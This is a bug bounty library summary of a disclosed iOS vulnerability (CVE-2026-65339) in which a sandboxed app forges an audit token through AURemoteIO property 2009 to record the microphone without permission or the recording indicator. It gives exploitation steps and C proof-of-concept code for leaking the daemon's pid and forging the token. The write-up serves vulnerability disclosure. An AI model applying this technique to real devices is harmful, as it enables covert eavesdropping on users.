# Who needs permissions and the orange dot that never lit

audiomxd trusted an app-supplied audit token via AURemoteIO property 2009, letting a sandboxed app impersonate the daemon and record microphone audio without permission or orange indicator.

- Payout: Research
- Severity: medium
- Program: Apple
- Write-up by: @campuscodi.risky.biz
- Disclosed: 2026-11-15
- CVE: CVE-2026-65339
- Write-up quality: 9/10
- Original: https://rtx.meta.security/exploitation/2026/11/09/CVE-2026-65339.html
- Library page: https://bugbountylibrary.com/r/blog%3Artx-meta-security-exploitation-2026-11-09-cve-2026-65339-html
- Tags: area:mobile domain:desktop domain:mobile impact:data-leak kind:research platform:research sev:medium tech:ios technique:reverse-engineering technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** audiomxd AURemoteIO Mach service (AudioToolbox)
**Root cause:** AUIOServer_SetProperty property 2009 copied a client-supplied 32-byte audit token into the RemoteIOClient's stored identity and called SetCanRecord() without validating the caller's kernel-supplied audit token (a2) or checking entitlements. SetCanRecord() then compared the forged token's (pid, pidversion) against the daemon's own and, on match, allowed recording without a TCC check.
**Steps:**
1. Look up com.apple.audio.AURemoteIOServer via mach-lookup from a sandboxed app.
2. Send a MIG message with `msg.hdr.msgh_id = 0x00C0FFEE` (no such routine) and receive with `MACH_RCV_TRAILER_AUDIT` to get a MIG_BAD_ID reply whose audit trailer identifies audiomxd.
3. Read `tr->msgh_audit.val[5]` (pid) and `val[7]` (pidversion) from the reply trailer; use `mig_get_reply_port()` for the reply port.
4. Build an audit_token_t with `val[0]=0xFFFFFFFF`, `val[1..4]=501`, `val[5]=audiomxd pid`, `val[7]=audiomxd pidversion`.
5. Call `AudioUnitSetProperty(g_au, 2009, kAudioUnitScope_Global, 0, &t, sizeof(t))` to overwrite the stored client token.
6. Start audio I/O; correct token yields live microphone audio, wrong token yields silence. Brute-forcing pidversion 0..1023 found a match in ~70s.
7. Record microphone audio despite denied permission; on the earlier build no orange indicator appears and logs attribute recording to audiomxd.
**How found:** Noticed audiomxd exposed a setter for the client audit token (property 2009) and that AUIOServer_SetProperty never read a2, the kernel-supplied caller token, before copying client bytes into the stored identity. Reverse-engineered SetCanRecord() to see it compares the stored token against the daemon's own TASK_AUDIT_TOKEN and short-circuits TCC on a match, then found the MIG_BAD_ID reply-trailer trick to obtain the daemon's pid/pidversion from inside the sandbox.
**Exploitation:** A sandboxed app with NSMicrophoneUsageDescription opens an AURemoteIO connection to audiomxd, harvests the daemon's pid/pidversion from a kernel-supplied MIG reply audit trailer, forges an audit token naming audiomxd, and submits it via property 2009. SetCanRecord() sees a (pid, pidversion) match and sets canRecord=1 without consulting TCC, so the app records microphone audio even after the user denied permission, with no orange indicator on the vulnerable build.
**Insight:** When a daemon compares a client-supplied identity against its own, check whether the client can overwrite that identity via a property setter and whether the handler ignores the kernel-supplied MIG trailer token. A MIG_BAD_ID reply received with MACH_RCV_TRAILER_AUDIT leaks the daemon's pid and pidversion to a sandboxed caller, enabling token forgery even without proc scanning.

## Proof of concept (copied exactly from the original report)

**Property 2009 handler copies client-supplied audit token**

```
if ( (_DWORD)a5 != 2009 ) // a5 = property id
 goto LABEL_53;
v24 = *(_OWORD **)(v41 + 40); // the client's 32-byte payload
v25 = v24[1];
*(_OWORD *)(v17 + 96) = *v24; // RemoteIOClient+96
*(_OWORD *)(v17 + 112) = v25; // RemoteIOClient+112
AQIONodeClient::SetCanRecord((AQIONodeClient *)(v17 + 56));
```

**Forged token submission via AudioUnitSetProperty**

```
static OSStatus set_forged_token(pid_t pid, uint32_t pidversion) {
 audit_token_t t;
 mach_msg_type_number_t cnt = TASK_AUDIT_TOKEN_COUNT;
 task_info(mach_task_self(), TASK_AUDIT_TOKEN, (task_info_t)&t, &cnt); // asid template
 t.val[0] = 0xFFFFFFFF; // auid -1, like a daemon
 t.val[1] = t.val[2] = t.val[3] = t.val[4] = 501; // mobile
 t.val[5] = (unsigned)pid; // audiomxd's pid
 t.val[7] = pidversion; // audiomxd's pidversion
 return AudioUnitSetProperty(g_au, 2009, kAudioUnitScope_Global, 0, &t, sizeof(t));
```

**MIG_BAD_ID reply trailer leaks daemon pid/pidversion**

```
msg.hdr.msgh_id = 0x00C0FFEE; // no such routine -> MIG_BAD_ID error reply
kr = mach_msg(&msg.hdr,
 MACH_SEND_MSG | MACH_RCV_MSG | MACH_SEND_TIMEOUT | MACH_RCV_TIMEOUT |
 MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0) |
 MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_AUDIT),
 sizeof(mach_msg_header_t), sizeof(msg), reply, 1500, MACH_PORT_NULL);

mach_msg_audit_trailer_t *tr = (mach_msg_audit_trailer_t *)
 ((uint8_t *)&msg.hdr + round_msg(msg.hdr.msgh_size));
memcpy(out, &tr->msgh_audit, sizeof(*out));
// out->val[5] = audiomxd pid, out->val[7] = audiomxd pidversion
```

